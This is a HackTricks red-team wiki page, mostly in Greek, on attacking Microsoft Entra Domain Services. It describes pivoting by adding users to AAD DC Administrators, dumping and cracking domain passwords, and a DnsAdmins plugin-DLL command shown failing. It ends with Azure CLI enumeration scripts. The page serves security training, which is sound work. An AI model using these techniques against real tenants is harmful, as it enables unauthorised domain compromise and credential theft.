Az - Microsoft Entra Domain Services

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Domain Services

Το Microsoft Entra Domain Services επιτρέπει την ανάπτυξη ενός Active Directory στο Azure χωρίς να χρειάζεται να διαχειρίζεστε Domain Controllers (στην πραγματικότητα δεν έχετε καν πρόσβαση σε αυτά).

Ο κύριος στόχος του είναι να σας επιτρέψει να τρέχετε legacy εφαρμογές στο cloud που δεν μπορούν να χρησιμοποιήσουν σύγχρονες μεθόδους ταυτοποίησης, ή όπου δεν θέλετε οι αναζητήσεις καταλόγου να επιστρέφουν πάντα σε ένα on-premises AD DS περιβάλλον.

Σημειώστε ότι για να συγχρονίσετε τους χρήστες που δημιουργούνται στο Entra ID (και δεν συγχρονίζονται από άλλες active directories) στην AD domain service πρέπει να αλλάξετε τον κωδικό πρόσβασης του χρήστη σε έναν νέο ώστε να μπορέσει να συγχρονιστεί με το νέο AD. Στην πραγματικότητα, ο χρήστης δεν συγχρονίζεται από το Microsoft Entra ID στο Domain Services μέχρι να αλλάξει ο κωδικός πρόσβασης.

Warning

Ακόμα κι αν δημιουργείτε ένα νέο active directory domain, δεν θα μπορείτε να το διαχειριστείτε πλήρως (εκτός αν εκμεταλλευτείτε κάποιες εσφαλμένες ρυθμίσεις), πράγμα που σημαίνει ότι από προεπιλογή, για παράδειγμα, δεν μπορείτε να δημιουργήσετε χρήστες στο AD απευθείας. Τους δημιουργείτε συγχρονίζοντας χρήστες από το Entra ID. Μπορείτε να ορίσετε να συγχρονίζονται όλοι οι χρήστες (ακόμα και αυτοί που συγχρονίζονται από άλλα on‑premise ADs), μόνο οι cloud χρήστες (χρήστες που δημιουργούνται στο Entra ID), ή ακόμη και να τους φιλτράρετε περισσότερο.

Note

Γενικά, λόγω της έλλειψης ευελιξίας στη διαμόρφωση του νέου domain και του γεγονότος ότι τα ADs συνήθως υπάρχουν ήδη on‑premise, αυτή δεν είναι η κύρια ενσωμάτωση μεταξύ Entra ID και AD, αλλά είναι ακόμη ενδιαφέρον να γνωρίζουμε πώς να το παραβιάσουμε.

Pivoting

Μέλη της δημιουργημένης ομάδας AAD DC Administrators αποκτούν δικαιώματα τοπικού διαχειριστή σε VMs που είναι domain-joined στο managed domain (αλλά όχι στους domain controllers) επειδή προστίθενται στην τοπική ομάδα administrators. Τα μέλη αυτής της ομάδας μπορούν επίσης να χρησιμοποιήσουν Remote Desktop για απομακρυσμένη σύνδεση σε domain-joined VMs, και είναι επίσης μέλη των ομάδων:

  • Denied RODC Password Replication Group: Πρόκειται για μια ομάδα που καθορίζει χρήστες και ομάδες των οποίων οι κωδικοί πρόσβασης δεν μπορούν να αποθηκευτούν στην cache σε RODCs (Read-Only Domain Controllers).
  • Group Policy Creators Owners: Αυτή η ομάδα επιτρέπει στα μέλη να δημιουργούν Group Policies στο domain. Ωστόσο, τα μέλη της δεν μπορούν να εφαρμόσουν group policies σε χρήστες ή ομάδες ή να επεξεργαστούν υπάρχοντα GPOs, οπότε δεν είναι τόσο ενδιαφέρουσα σε αυτό το περιβάλλον.
  • DnsAdmins: Αυτή η ομάδα επιτρέπει τη διαχείριση των ρυθμίσεων DNS και είχε καταχραστεί στο παρελθόν για escalate privileges and compromise the domain, ωστόσο μετά τη δοκιμή της επίθεσης σε αυτό το περιβάλλον ελέγχθηκε ότι η ευπάθεια έχει επιδιορθωθεί:
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Σημειώστε ότι για να παραχωρηθούν αυτά τα δικαιώματα, μέσα στο AD, η ομάδα AAD DC Administrators γίνεται μέλος των προηγούμενων ομάδων, και επίσης το GPO AADDC Computers GPO προσθέτει ως Local Administrators όλα τα μέλη της domain group AAD DC Administrators.

Η μετάβαση (pivoting) από το Entra ID σε ένα AD που δημιουργήθηκε με Domain Services είναι απλή — απλώς πρόσθεσε έναν χρήστη στην ομάδα AAD DC Administrators, σύνδεσε μέσω RDP σε οποιαδήποτε/όλες τις μηχανές στο domain και θα μπορέσεις να κλέψεις δεδομένα και επίσης να παραβιάσεις το domain.

Ωστόσο, η μετάβαση από το domain στο Entra ID δεν είναι τόσο εύκολη καθώς τίποτα από το domain δεν συγχρονίζεται στο Entra ID. Παρ’ όλα αυτά, έλεγχε πάντα τα metadata όλων των VMs που είναι joined, καθώς οι assigned managed identities τους μπορεί να έχουν ενδιαφέροντα δικαιώματα. Επίσης dump all the users passwords from the domain και προσπάθησε να τα crack ώστε στη συνέχεια να κάνεις login στο Entra ID / Azure.

Note

Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, like this one. An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

Εντοπισμός

# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks